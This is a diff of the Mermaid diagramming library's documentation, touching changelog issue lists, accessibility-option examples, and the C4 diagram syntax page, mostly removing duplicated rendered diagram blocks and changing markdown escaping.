- Error on simple graph [\#192](https://github.com/knsv/mermaid/issues/192)
|
||||
- Escape "~" [\#191](https://github.com/knsv/mermaid/issues/191)
|
||||
- Trying to add link using 'click' to flowchart [\#188](https://github.com/knsv/mermaid/issues/188)
|
||||
- cli: no lines and arrowheads rendered / only dotted lines [\#187](https://github.com/knsv/mermaid/issues/187)
|
||||
- text of mermaid div displayed on page [\#186](https://github.com/knsv/mermaid/issues/186)
|
||||
- using mermaid with laravel [\#185](https://github.com/knsv/mermaid/issues/185)
|
||||
- Atom editor package [\#183](https://github.com/knsv/mermaid/issues/183)
|
||||
- Auto linewrap for notes in sequence diagrams [\#178](https://github.com/knsv/mermaid/issues/178)
|
||||
- Execute code after initialize [\#176](https://github.com/knsv/mermaid/issues/176)
|
||||
- Autoscaling for all diagram types [\#175](https://github.com/knsv/mermaid/issues/175)
|
||||
- Problem wit click event callback [\#174](https://github.com/knsv/mermaid/issues/174)
|
||||
- How to escape characters? [\#170](https://github.com/knsv/mermaid/issues/170)
|
||||
- it can not work [\#167](https://github.com/knsv/mermaid/issues/167)
|
||||
- Broken subgraph using the CLI [\#153](https://github.com/knsv/mermaid/issues/153)
|
||||
- IE Support issue [\#142](https://github.com/knsv/mermaid/issues/142)
|
||||
- Flowchart truncated [\#140](https://github.com/knsv/mermaid/issues/140)
|
||||
- Double Quote as text is not working [\#219](https://github.com/knsv/mermaid/issues/219)
|
||||
- classDef / class not working with htmlLabels? [\#210](https://github.com/knsv/mermaid/issues/210)
|
||||
- Links in graph missing [\#209](https://github.com/knsv/mermaid/issues/209)
|
||||
- Last word in comment boxes getting cut off by word wrap library : \( [\#195](https://github.com/knsv/mermaid/issues/195)
|
||||
- Escaping characters in sequence diagram [\#193](https://github.com/knsv/mermaid/issues/193)
|
||||
- SVG foreignObject rendering [\#180](https://github.com/knsv/mermaid/issues/180)
|
||||
- IE9 issue [\#179](https://github.com/knsv/mermaid/issues/179)
|
||||
- inoperable in an AMD/requirejs environment: IPython Notebook [\#127](https://github.com/knsv/mermaid/issues/127)
|
||||
- \[Parser\] Hyphen in participant name bring TypeError [\#74](https://github.com/knsv/mermaid/issues/74)
|
||||
|
||||
**Merged pull requests:**
|
||||
|
||||
@@ -912,12 +912,12 @@ mermaidAPI.initialize({
|
||||
|
||||
**Merged pull requests:**
|
||||
|
||||
- New grammar will allow statements ending without semicolon as disccused in Issue #38 [#63](https://github.com/knsv/mermaid/pull/63) ([vijay40](https://github.com/vijay40))
|
||||
- Class based styling [#62](https://github.com/knsv/mermaid/pull/62) ([bjowes](https://github.com/bjowes))
|
||||
- Fix typos [#60](https://github.com/knsv/mermaid/pull/60) ([sublimino](https://github.com/sublimino))
|
||||
- Included .DS_Store in gitignore [#57](https://github.com/knsv/mermaid/pull/57) ([alvynmcq](https://github.com/alvynmcq))
|
||||
- Improves readability discussed in issue #38 [#56](https://github.com/knsv/mermaid/pull/56) ([vijay40](https://github.com/vijay40))
|
||||
- Added a linting task for gulp [#43](https://github.com/knsv/mermaid/pull/43) ([serv](https://github.com/serv))
|
||||
- New grammar will allow statements ending without semicolon as disccused in Issue \#38 [\#63](https://github.com/knsv/mermaid/pull/63) ([vijay40](https://github.com/vijay40))
|
||||
- Class based styling [\#62](https://github.com/knsv/mermaid/pull/62) ([bjowes](https://github.com/bjowes))
|
||||
- Fix typos [\#60](https://github.com/knsv/mermaid/pull/60) ([sublimino](https://github.com/sublimino))
|
||||
- Included .DS_Store in gitignore [\#57](https://github.com/knsv/mermaid/pull/57) ([alvynmcq](https://github.com/alvynmcq))
|
||||
- Improves readability discussed in issue \#38 [\#56](https://github.com/knsv/mermaid/pull/56) ([vijay40](https://github.com/vijay40))
|
||||
- Added a linting task for gulp [\#43](https://github.com/knsv/mermaid/pull/43) ([serv](https://github.com/serv))
|
||||
|
||||
## [0.2.15](https://github.com/knsv/mermaid/tree/0.2.15) (2014-12-05)
|
||||
|
||||
@@ -936,8 +936,8 @@ mermaidAPI.initialize({
|
||||
|
||||
**Merged pull requests:**
|
||||
|
||||
- Include bower_components/ to .gitignore [#33](https://github.com/knsv/mermaid/pull/33) ([serv](https://github.com/serv))
|
||||
- Fixed reference to Git repo. [#32](https://github.com/knsv/mermaid/pull/32) ([guyellis](https://github.com/guyellis))
|
||||
- Include bower_components/ to .gitignore [\#33](https://github.com/knsv/mermaid/pull/33) ([serv](https://github.com/serv))
|
||||
- Fixed reference to Git repo. [\#32](https://github.com/knsv/mermaid/pull/32) ([guyellis](https://github.com/guyellis))
|
||||
|
||||
## [0.2.14](https://github.com/knsv/mermaid/tree/0.2.14) (2014-12-03)
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ The Following are the most commonly used methods, and are all tied to Mermaid [D
|
||||
|
||||
## [Directives](./directives.md),
|
||||
|
||||
Directives allows limited reconfiguration of a diagram just before it is rendered. It can alter the font style, color and other aesthetic aspects of the diagram. You can pass a directive alongside your definition inside `%%{ }%%`, either above or below your diagram definition.
|
||||
allows the limited reconfiguration of a diagram just before it is rendered. It can alter the font style, color and other aesthetic aspects of the diagram. you can pass a directive alongside your definition inside `%%{ }%%`, either above or below your diagram definition.
|
||||
|
||||
## Theme Creation:
|
||||
|
||||
|
||||
@@ -24,7 +24,8 @@ Mermaid is a JavaScript based diagramming and charting tool that uses Markdown-i
|
||||
|
||||
Diagramming and documentation costs precious developer time and gets outdated quickly.
|
||||
But not having diagrams or docs ruins productivity and hurts organizational learning.<br/>
|
||||
Mermaid addresses this problem by enabling users to create easily modifiable diagrams, it can also be made part of production scripts (and other pieces of code).<br/> <br/>
|
||||
Mermaid addresses this problem by enabling users to create easily modifiable diagrams, it can also be made part of production scripts (and other pieces of code).<br/>
|
||||
<br/>
|
||||
Mermaid allows even non-programmers to easily create detailed and diagrams through the [Mermaid Live Editor](https://mermaid.live/).<br/>
|
||||
[Tutorials](./Tutorials.md) has video tutorials.
|
||||
Use Mermaid with your favorite applications, check out the list of [Integrations and Usages of Mermaid](./integrations.md).
|
||||
@@ -191,11 +192,11 @@ Latest Version: <https://unpkg.com/browse/mermaid@8.8.0/>
|
||||
|
||||
To Deploy Mermaid:
|
||||
|
||||
1. You will need to install node v16, which would have npm
|
||||
2. Download yarn using npm
|
||||
3. Enter the following command: `yarn add mermaid`
|
||||
4. You can then add mermaid as a dev dependency using this command:
|
||||
`yarn add --dev mermaid`
|
||||
1. You will need to install node v16, which would have npm
|
||||
2. Download yarn using npm
|
||||
3. Enter the following command: `yarn add mermaid`
|
||||
4. You can then add mermaid as a dev dependency using this command:
|
||||
`yarn add --dev mermaid`
|
||||
|
||||
### [Mermaid API](./Setup.md):
|
||||
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT. Please edit corresponding file in src/docs.
|
||||
|
||||
- Getting started
|
||||
|
||||
- [Quick start](quickstart.md)
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## Accessibility
|
||||
|
||||
Now with Mermaid library is in much wider use, we have started to work towwards more accessible features, based on the feedback from the community.
|
||||
|
||||
Now with Mermaid library in much wider use, we have started to work towards more accessible features, based on the feedback from the community.
|
||||
|
||||
To begin with, we have added a new feature to Mermaid library, which is to support accessibility options, **Accessibility Title** and **Accessibility Description**.
|
||||
|
||||
This support for accessibility options is available for all the diagrams/chart types. Also, we have tired to keep the same format for the accessibility options, so that it is easy to understand and maintain.
|
||||
|
||||
## Defining Accessibility Options
|
||||
|
||||
### Single line accessibility values
|
||||
@@ -33,23 +33,13 @@ Let us take a look at the following example with a flowchart diagram:
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR
|
||||
accTitle: Big decisions
|
||||
accDescr: Flow chart of the decision making process
|
||||
A[Hard] -->|Text| B(Round)
|
||||
B --> C{Decision}
|
||||
C -->|One| D[Result 1]
|
||||
|
||||
```
|
||||
|
||||
See in the code snippet above, the `accTitle` and `accDescr` are defined in the diagram definition. They result in the following tags in SVG code:
|
||||
|
||||
|
||||
|
||||
### Multi-line Accessibility title/description
|
||||
|
||||
You can also define the accessibility options in a multi-line format, where the keyword is followed by opening curly bracket `{` and then multiple lines, followed by a closing `}`.
|
||||
You can also define the accessibility options in a multi-line format, where the keyword is followed by opening curly bracket `{` and then mutltile lines, followed by a closing `}`.
|
||||
|
||||
`accTitle: My single line title value` (**_single line format_**)
|
||||
|
||||
@@ -74,21 +64,6 @@ Let us look at it in the following example, with same flowchart:
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR
|
||||
accTitle: Big decisions
|
||||
|
||||
accDescr {
|
||||
My multi-line description
|
||||
of the diagram
|
||||
}
|
||||
|
||||
A[Hard] -->|Text| B(Round)
|
||||
B --> C{Decision}
|
||||
C -->|One| D[Result 1]
|
||||
|
||||
```
|
||||
|
||||
See in the code snippet above, the `accTitle` and `accDescr` are defined in the diagram definition. They result in the following tags in SVG code:
|
||||
|
||||
|
||||
@@ -197,22 +172,6 @@ See in the code snippet above, the `accTitle` and `accDescr` are defined in the
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
journey
|
||||
accTitle: My User Journey Diagram
|
||||
accDescr: My User Journey Diagram Description
|
||||
|
||||
title My working day
|
||||
section Go to work
|
||||
Make tea: 5: Me
|
||||
Go upstairs: 3: Me
|
||||
Do work: 1: Me, Cat
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
|
||||
```
|
||||
|
||||
#### Gantt Chart
|
||||
|
||||
```mermaid-example
|
||||
@@ -262,19 +221,6 @@ See in the code snippet above, the `accTitle` and `accDescr` are defined in the
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
pie
|
||||
accTitle: My Pie Chart Accessibility Title
|
||||
accDescr: My Pie Chart Accessibility Description
|
||||
|
||||
title Key elements in Product X
|
||||
"Calcium" : 42.96
|
||||
"Potassium" : 50.05
|
||||
"Magnesium" : 10.01
|
||||
"Iron" : 5
|
||||
|
||||
```
|
||||
|
||||
#### Requirement Diagram
|
||||
|
||||
```mermaid-example
|
||||
@@ -297,27 +243,13 @@ See in the code snippet above, the `accTitle` and `accDescr` are defined in the
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
requirementDiagram
|
||||
accTitle: My Requirement Diagram
|
||||
accDescr: My Requirement Diagram Description
|
||||
|
||||
requirement test_req {
|
||||
id: 1
|
||||
text: the test text.
|
||||
risk: high
|
||||
verifymethod: test
|
||||
}
|
||||
|
||||
element test_entity {
|
||||
type: simulation
|
||||
}
|
||||
|
||||
test_entity - satisfies -> test_req
|
||||
|
||||
```
|
||||
|
||||
#### Gitgraph
|
||||
id: 1
|
||||
text: the test text.
|
||||
risk: high
|
||||
verifymethod: test
|
||||
}
|
||||
|
||||
```mermaid-example
|
||||
gitGraph
|
||||
@@ -336,21 +268,3 @@ See in the code snippet above, the `accTitle` and `accDescr` are defined in the
|
||||
commit
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
gitGraph
|
||||
accTitle: My Gitgraph Accessibility Title
|
||||
accDescr: My Gitgraph Accessibility Description
|
||||
|
||||
commit
|
||||
commit
|
||||
branch develop
|
||||
checkout develop
|
||||
commit
|
||||
commit
|
||||
checkout main
|
||||
merge develop
|
||||
commit
|
||||
commit
|
||||
|
||||
```
|
||||
|
||||
341
docs/c4c.md
341
docs/c4c.md
@@ -2,6 +2,8 @@
|
||||
|
||||
# C4 Diagrams
|
||||
|
||||
**Edit this Page** [](https://github.com/mermaid-js/mermaid/blob/develop/docs/gitgraph.md)
|
||||
|
||||
> C4 Diagram: This is an experimental diagram for now. The syntax and properties can change in future releases. Proper documentation will be provided when the syntax is stable.
|
||||
|
||||
Mermaid's c4 diagram syntax is compatible with plantUML. See example below:
|
||||
@@ -51,53 +53,6 @@ Mermaid's c4 diagram syntax is compatible with plantUML. See example below:
|
||||
UpdateLayoutConfig($c4ShapeInRow="3", $c4BoundaryInRow="1")
|
||||
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
C4Context
|
||||
title System Context diagram for Internet Banking System
|
||||
Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
Person(customerA, "Banking Customer A", "A customer of the bank, with personal bank accounts.")
|
||||
Person(customerB, "Banking Customer B")
|
||||
Person_Ext(customerC, "Banking Customer C", "desc")
|
||||
|
||||
Person(customerD, "Banking Customer D", "A customer of the bank, <br/> with personal bank accounts.")
|
||||
|
||||
System(SystemAA, "Internet Banking System", "Allows customers to view information about their bank accounts, and make payments.")
|
||||
|
||||
Enterprise_Boundary(b1, "BankBoundary") {
|
||||
|
||||
SystemDb_Ext(SystemE, "Mainframe Banking System", "Stores all of the core banking information about customers, accounts, transactions, etc.")
|
||||
|
||||
System_Boundary(b2, "BankBoundary2") {
|
||||
System(SystemA, "Banking System A")
|
||||
System(SystemB, "Banking System B", "A system of the bank, with personal bank accounts. next line.")
|
||||
}
|
||||
|
||||
System_Ext(SystemC, "E-mail system", "The internal Microsoft Exchange e-mail system.")
|
||||
SystemDb(SystemD, "Banking System D Database", "A system of the bank, with personal bank accounts.")
|
||||
|
||||
Boundary(b3, "BankBoundary3", "boundary") {
|
||||
SystemQueue(SystemF, "Banking System F Queue", "A system of the bank.")
|
||||
SystemQueue_Ext(SystemG, "Banking System G Queue", "A system of the bank, with personal bank accounts.")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BiRel(customerA, SystemAA, "Uses")
|
||||
BiRel(SystemAA, SystemE, "Uses")
|
||||
Rel(SystemAA, SystemC, "Sends e-mails", "SMTP")
|
||||
Rel(SystemC, customerA, "Sends e-mails to")
|
||||
|
||||
UpdateElementStyle(customerA, $fontColor="red", $bgColor="grey", $borderColor="red")
|
||||
UpdateRelStyle(customerA, SystemAA, $textColor="blue", $lineColor="blue", $offsetX="5")
|
||||
UpdateRelStyle(SystemAA, SystemE, $textColor="blue", $lineColor="blue", $offsetY="-10")
|
||||
UpdateRelStyle(SystemAA, SystemC, $textColor="blue", $lineColor="blue", $offsetY="-40", $offsetX="-50")
|
||||
UpdateRelStyle(SystemC, customerA, $textColor="red", $lineColor="red", $offsetX="-50", $offsetY="20")
|
||||
|
||||
UpdateLayoutConfig($c4ShapeInRow="3", $c4BoundaryInRow="1")
|
||||
|
||||
|
||||
```
|
||||
|
||||
For an example, see the source code demos/index.html
|
||||
@@ -126,121 +81,71 @@ The number of shapes per row and the number of boundaries can be adjusted using
|
||||
|
||||
The following unfinished features are not supported in the short term.
|
||||
|
||||
- \[ ] sprite
|
||||
- [ ] sprite
|
||||
- [ ] tags
|
||||
- [ ] link
|
||||
- [ ] Legend
|
||||
|
||||
- \[ ] tags
|
||||
- [x] System Context
|
||||
- - [x] Person(alias, label, ?descr, ?sprite, ?tags, $link)
|
||||
- - [x] Person_Ext
|
||||
- - [x] System(alias, label, ?descr, ?sprite, ?tags, $link)
|
||||
- - [x] SystemDb
|
||||
- - [x] SystemQueue
|
||||
- - [x] System_Ext
|
||||
- - [x] SystemDb_Ext
|
||||
- - [x] SystemQueue_Ext
|
||||
- - [x] Boundary(alias, label, ?type, ?tags, $link)
|
||||
- - [x] Enterprise_Boundary(alias, label, ?tags, $link)
|
||||
- - [x] System_Boundary
|
||||
|
||||
- \[ ] link
|
||||
- [x] Container diagram
|
||||
- - [x] Container(alias, label, ?techn, ?descr, ?sprite, ?tags, $link)
|
||||
- - [x] ContainerDb
|
||||
- - [x] ContainerQueue
|
||||
- - [x] Container_Ext
|
||||
- - [x] ContainerDb_Ext
|
||||
- - [x] ContainerQueue_Ext
|
||||
- - [x] Container_Boundary(alias, label, ?tags, $link)
|
||||
|
||||
- \[ ] Legend
|
||||
- [x] Component diagram
|
||||
- - [x] Component(alias, label, ?techn, ?descr, ?sprite, ?tags, $link)
|
||||
- - [x] ComponentDb
|
||||
- - [x] ComponentQueue
|
||||
- - [x] Component_Ext
|
||||
- - [x] ComponentDb_Ext
|
||||
- - [x] ComponentQueue_Ext
|
||||
|
||||
- \[x] System Context
|
||||
- [x] Dynamic diagram
|
||||
- - [x] RelIndex(index, from, to, label, ?tags, $link)
|
||||
|
||||
- - \[x] Person(alias, label, ?descr, ?sprite, ?tags, $link)
|
||||
- [x] Deployment diagram
|
||||
- - [x] Deployment_Node(alias, label, ?type, ?descr, ?sprite, ?tags, $link)
|
||||
- - [x] Node(alias, label, ?type, ?descr, ?sprite, ?tags, $link): short name of Deployment_Node()
|
||||
- - [x] Node_L(alias, label, ?type, ?descr, ?sprite, ?tags, $link): left aligned Node()
|
||||
- - [x] Node_R(alias, label, ?type, ?descr, ?sprite, ?tags, $link): right aligned Node()
|
||||
|
||||
- - \[x] Person_Ext
|
||||
- [x] Relationship Types
|
||||
- - [x] Rel(from, to, label, ?techn, ?descr, ?sprite, ?tags, $link)
|
||||
- - [x] BiRel (bidirectional relationship)
|
||||
- - [x] Rel_U, Rel_Up
|
||||
- - [x] Rel_D, Rel_Down
|
||||
- - [x] Rel_L, Rel_Left
|
||||
- - [x] Rel_R, Rel_Right
|
||||
- - [x] Rel_Back
|
||||
- - [x] RelIndex \* Compatible with C4-Plantuml syntax, but ignores the index parameter. The sequence number is determined by the order in which the rel statements are written.
|
||||
|
||||
- - \[x] System(alias, label, ?descr, ?sprite, ?tags, $link)
|
||||
|
||||
- - \[x] SystemDb
|
||||
|
||||
- - \[x] SystemQueue
|
||||
|
||||
- - \[x] System_Ext
|
||||
|
||||
- - \[x] SystemDb_Ext
|
||||
|
||||
- - \[x] SystemQueue_Ext
|
||||
|
||||
- - \[x] Boundary(alias, label, ?type, ?tags, $link)
|
||||
|
||||
- - \[x] Enterprise_Boundary(alias, label, ?tags, $link)
|
||||
|
||||
- - \[x] System_Boundary
|
||||
|
||||
- \[x] Container diagram
|
||||
|
||||
- - \[x] Container(alias, label, ?techn, ?descr, ?sprite, ?tags, $link)
|
||||
|
||||
- - \[x] ContainerDb
|
||||
|
||||
- - \[x] ContainerQueue
|
||||
|
||||
- - \[x] Container_Ext
|
||||
|
||||
- - \[x] ContainerDb_Ext
|
||||
|
||||
- - \[x] ContainerQueue_Ext
|
||||
|
||||
- - \[x] Container_Boundary(alias, label, ?tags, $link)
|
||||
|
||||
- \[x] Component diagram
|
||||
|
||||
- - \[x] Component(alias, label, ?techn, ?descr, ?sprite, ?tags, $link)
|
||||
|
||||
- - \[x] ComponentDb
|
||||
|
||||
- - \[x] ComponentQueue
|
||||
|
||||
- - \[x] Component_Ext
|
||||
|
||||
- - \[x] ComponentDb_Ext
|
||||
|
||||
- - \[x] ComponentQueue_Ext
|
||||
|
||||
- \[x] Dynamic diagram
|
||||
|
||||
- - \[x] RelIndex(index, from, to, label, ?tags, $link)
|
||||
|
||||
- \[x] Deployment diagram
|
||||
|
||||
- - \[x] Deployment_Node(alias, label, ?type, ?descr, ?sprite, ?tags, $link)
|
||||
|
||||
- - \[x] Node(alias, label, ?type, ?descr, ?sprite, ?tags, $link): short name of Deployment_Node()
|
||||
|
||||
- - \[x] Node_L(alias, label, ?type, ?descr, ?sprite, ?tags, $link): left aligned Node()
|
||||
|
||||
- - \[x] Node_R(alias, label, ?type, ?descr, ?sprite, ?tags, $link): right aligned Node()
|
||||
|
||||
- \[x] Relationship Types
|
||||
|
||||
- - \[x] Rel(from, to, label, ?techn, ?descr, ?sprite, ?tags, $link)
|
||||
|
||||
- - \[x] BiRel (bidirectional relationship)
|
||||
|
||||
- - \[x] Rel_U, Rel_Up
|
||||
|
||||
- - \[x] Rel_D, Rel_Down
|
||||
|
||||
- - \[x] Rel_L, Rel_Left
|
||||
|
||||
- - \[x] Rel_R, Rel_Right
|
||||
|
||||
- - \[x] Rel_Back
|
||||
|
||||
- - \[x] RelIndex \* Compatible with C4-Plantuml syntax, but ignores the index parameter. The sequence number is determined by the order in which the rel statements are written.
|
||||
|
||||
- \[ ] Custom tags/stereotypes support and skinparam updates
|
||||
|
||||
- - \[ ] AddElementTag(tagStereo, ?bgColor, ?fontColor, ?borderColor, ?shadowing, ?shape, ?sprite, ?techn, ?legendText, ?legendSprite): Introduces a new element tag. The styles of the tagged elements are updated and the tag is displayed in the calculated legend.
|
||||
|
||||
- - \[ ] AddRelTag(tagStereo, ?textColor, ?lineColor, ?lineStyle, ?sprite, ?techn, ?legendText, ?legendSprite): Introduces a new Relationship tag. The styles of the tagged relationships are updated and the tag is displayed in the calculated legend.
|
||||
|
||||
- - \[x] UpdateElementStyle(elementName, ?bgColor, ?fontColor, ?borderColor, ?shadowing, ?shape, ?sprite, ?techn, ?legendText, ?legendSprite): This call updates the default style of the elements (component, ...) and creates no additional legend entry.
|
||||
|
||||
- - \[x] UpdateRelStyle(from, to, ?textColor, ?lineColor, ?offsetX, ?offsetY): This call updates the default relationship colors and creates no additional legend entry. Two new parameters, offsetX and offsetY, are added to set the offset of the original position of the text.
|
||||
|
||||
- - \[ ] RoundedBoxShape(): This call returns the name of the rounded box shape and can be used as ?shape argument.
|
||||
|
||||
- - \[ ] EightSidedShape(): This call returns the name of the eight sided shape and can be used as ?shape argument.
|
||||
|
||||
- - \[ ] DashedLine(): This call returns the name of the dashed line and can be used as ?lineStyle argument.
|
||||
|
||||
- - \[ ] DottedLine(): This call returns the name of the dotted line and can be used as ?lineStyle argument.
|
||||
|
||||
- - \[ ] BoldLine(): This call returns the name of the bold line and can be used as ?lineStyle argument.
|
||||
|
||||
- - \[x] UpdateLayoutConfig(?c4ShapeInRow, ?c4BoundaryInRow): New. This call updates the default c4ShapeInRow(4) and c4BoundaryInRow(2).
|
||||
- [ ] Custom tags/stereotypes support and skinparam updates
|
||||
- - [ ] AddElementTag(tagStereo, ?bgColor, ?fontColor, ?borderColor, ?shadowing, ?shape, ?sprite, ?techn, ?legendText, ?legendSprite): Introduces a new element tag. The styles of the tagged elements are updated and the tag is displayed in the calculated legend.
|
||||
- - [ ] AddRelTag(tagStereo, ?textColor, ?lineColor, ?lineStyle, ?sprite, ?techn, ?legendText, ?legendSprite): Introduces a new Relationship tag. The styles of the tagged relationships are updated and the tag is displayed in the calculated legend.
|
||||
- - [x] UpdateElementStyle(elementName, ?bgColor, ?fontColor, ?borderColor, ?shadowing, ?shape, ?sprite, ?techn, ?legendText, ?legendSprite): This call updates the default style of the elements (component, ...) and creates no additional legend entry.
|
||||
- - [x] UpdateRelStyle(from, to, ?textColor, ?lineColor, ?offsetX, ?offsetY): This call updates the default relationship colors and creates no additional legend entry. Two new parameters, offsetX and offsetY, are added to set the offset of the original position of the text.
|
||||
- - [ ] RoundedBoxShape(): This call returns the name of the rounded box shape and can be used as ?shape argument.
|
||||
- - [ ] EightSidedShape(): This call returns the name of the eight sided shape and can be used as ?shape argument.
|
||||
- - [ ] DashedLine(): This call returns the name of the dashed line and can be used as ?lineStyle argument.
|
||||
- - [ ] DottedLine(): This call returns the name of the dotted line and can be used as ?lineStyle argument.
|
||||
- - [ ] BoldLine(): This call returns the name of the bold line and can be used as ?lineStyle argument.
|
||||
- - [x] UpdateLayoutConfig(?c4ShapeInRow, ?c4BoundaryInRow): New. This call updates the default c4ShapeInRow(4) and c4BoundaryInRow(2).
|
||||
|
||||
There are two ways to assign parameters with question marks. One uses the non-named parameter assignment method in the order of the parameters, and the other uses the named parameter assignment method, where the name must start with a $ symbol.
|
||||
|
||||
@@ -301,52 +206,6 @@ UpdateRelStyle(customerA, bankA, $offsetY="60")
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
C4Context
|
||||
title System Context diagram for Internet Banking System
|
||||
Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
Person(customerA, "Banking Customer A", "A customer of the bank, with personal bank accounts.")
|
||||
Person(customerB, "Banking Customer B")
|
||||
Person_Ext(customerC, "Banking Customer C", "desc")
|
||||
|
||||
Person(customerD, "Banking Customer D", "A customer of the bank, <br/> with personal bank accounts.")
|
||||
|
||||
System(SystemAA, "Internet Banking System", "Allows customers to view information about their bank accounts, and make payments.")
|
||||
|
||||
Enterprise_Boundary(b1, "BankBoundary") {
|
||||
|
||||
SystemDb_Ext(SystemE, "Mainframe Banking System", "Stores all of the core banking information about customers, accounts, transactions, etc.")
|
||||
|
||||
System_Boundary(b2, "BankBoundary2") {
|
||||
System(SystemA, "Banking System A")
|
||||
System(SystemB, "Banking System B", "A system of the bank, with personal bank accounts. next line.")
|
||||
}
|
||||
|
||||
System_Ext(SystemC, "E-mail system", "The internal Microsoft Exchange e-mail system.")
|
||||
SystemDb(SystemD, "Banking System D Database", "A system of the bank, with personal bank accounts.")
|
||||
|
||||
Boundary(b3, "BankBoundary3", "boundary") {
|
||||
SystemQueue(SystemF, "Banking System F Queue", "A system of the bank.")
|
||||
SystemQueue_Ext(SystemG, "Banking System G Queue", "A system of the bank, with personal bank accounts.")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BiRel(customerA, SystemAA, "Uses")
|
||||
BiRel(SystemAA, SystemE, "Uses")
|
||||
Rel(SystemAA, SystemC, "Sends e-mails", "SMTP")
|
||||
Rel(SystemC, customerA, "Sends e-mails to")
|
||||
|
||||
UpdateElementStyle(customerA, $fontColor="red", $bgColor="grey", $borderColor="red")
|
||||
UpdateRelStyle(customerA, SystemAA, $textColor="blue", $lineColor="blue", $offsetX="5")
|
||||
UpdateRelStyle(SystemAA, SystemE, $textColor="blue", $lineColor="blue", $offsetY="-10")
|
||||
UpdateRelStyle(SystemAA, SystemC, $textColor="blue", $lineColor="blue", $offsetY="-40", $offsetX="-50")
|
||||
UpdateRelStyle(SystemC, customerA, $textColor="red", $lineColor="red", $offsetX="-50", $offsetY="20")
|
||||
|
||||
UpdateLayoutConfig($c4ShapeInRow="3", $c4BoundaryInRow="1")
|
||||
|
||||
```
|
||||
|
||||
## C4 Container diagram (C4Container)
|
||||
|
||||
```mermaid-example
|
||||
@@ -389,46 +248,6 @@ UpdateRelStyle(customerA, bankA, $offsetY="60")
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
C4Container
|
||||
title Container diagram for Internet Banking System
|
||||
|
||||
System_Ext(email_system, "E-Mail System", "The internal Microsoft Exchange system", $tags="v1.0")
|
||||
Person(customer, Customer, "A customer of the bank, with personal bank accounts", $tags="v1.0")
|
||||
|
||||
Container_Boundary(c1, "Internet Banking") {
|
||||
Container(spa, "Single-Page App", "JavaScript, Angular", "Provides all the Internet banking functionality to cutomers via their web browser")
|
||||
Container_Ext(mobile_app, "Mobile App", "C#, Xamarin", "Provides a limited subset of the Internet banking functionality to customers via their mobile device")
|
||||
Container(web_app, "Web Application", "Java, Spring MVC", "Delivers the static content and the Internet banking SPA")
|
||||
ContainerDb(database, "Database", "SQL Database", "Stores user registration information, hashed auth credentials, access logs, etc.")
|
||||
ContainerDb_Ext(backend_api, "API Application", "Java, Docker Container", "Provides Internet banking functionality via API")
|
||||
|
||||
}
|
||||
|
||||
System_Ext(banking_system, "Mainframe Banking System", "Stores all of the core banking information about customers, accounts, transactions, etc.")
|
||||
|
||||
Rel(customer, web_app, "Uses", "HTTPS")
|
||||
UpdateRelStyle(customer, web_app, $offsetY="60", $offsetX="90")
|
||||
Rel(customer, spa, "Uses", "HTTPS")
|
||||
UpdateRelStyle(customer, spa, $offsetY="-40")
|
||||
Rel(customer, mobile_app, "Uses")
|
||||
UpdateRelStyle(customer, mobile_app, $offsetY="-30")
|
||||
|
||||
Rel(web_app, spa, "Delivers")
|
||||
UpdateRelStyle(web_app, spa, $offsetX="130")
|
||||
Rel(spa, backend_api, "Uses", "async, JSON/HTTPS")
|
||||
Rel(mobile_app, backend_api, "Uses", "async, JSON/HTTPS")
|
||||
Rel_Back(database, backend_api, "Reads from and writes to", "sync, JDBC")
|
||||
|
||||
Rel(email_system, customer, "Sends e-mails to")
|
||||
UpdateRelStyle(email_system, customer, $offsetX="-45")
|
||||
Rel(backend_api, email_system, "Sends e-mails using", "sync, SMTP")
|
||||
UpdateRelStyle(backend_api, email_system, $offsetY="-60")
|
||||
Rel(backend_api, banking_system, "Uses", "sync/async, XML/HTTPS")
|
||||
UpdateRelStyle(backend_api, banking_system, $offsetY="-50", $offsetX="-140")
|
||||
|
||||
```
|
||||
|
||||
## C4 Component diagram (C4Component)
|
||||
|
||||
```mermaid-example
|
||||
@@ -471,46 +290,6 @@ UpdateRelStyle(customerA, bankA, $offsetY="60")
|
||||
|
||||
```
|
||||
|
||||
```mermaid
|
||||
C4Component
|
||||
title Component diagram for Internet Banking System - API Application
|
||||
|
||||
Container(spa, "Single Page Application", "javascript and angular", "Provides all the internet banking functionality to customers via their web browser.")
|
||||
Container(ma, "Mobile App", "Xamarin", "Provides a limited subset ot the internet banking functionality to customers via their mobile mobile device.")
|
||||
ContainerDb(db, "Database", "Relational Database Schema", "Stores user registration information, hashed authentication credentials, access logs, etc.")
|
||||
System_Ext(mbs, "Mainframe Banking System", "Stores all of the core banking information about customers, accounts, transactions, etc.")
|
||||
|
||||
Container_Boundary(api, "API Application") {
|
||||
Component(sign, "Sign In Controller", "MVC Rest Controller", "Allows users to sign in to the internet banking system")
|
||||
Component(accounts, "Accounts Summary Controller", "MVC Rest Controller", "Provides customers with a summary of their bank accounts")
|
||||
Component(security, "Security Component", "Spring Bean", "Provides functionality related to singing in, changing passwords, etc.")
|
||||
Component(mbsfacade, "Mainframe Banking System Facade", "Spring Bean", "A facade onto the mainframe banking system.")
|
||||
|
||||
Rel(sign, security, "Uses")
|
||||
Rel(accounts, mbsfacade, "Uses")
|
||||
Rel(security, db, "Read & write to", "JDBC")
|
||||
Rel(mbsfacade, mbs, "Uses", "XML/HTTPS")
|
||||
}
|
||||
|
||||
Rel_Back(spa, sign, "Uses", "JSON/HTTPS")
|
||||
Rel(spa, accounts, "Uses", "JSON/HTTPS")
|
||||
|
||||
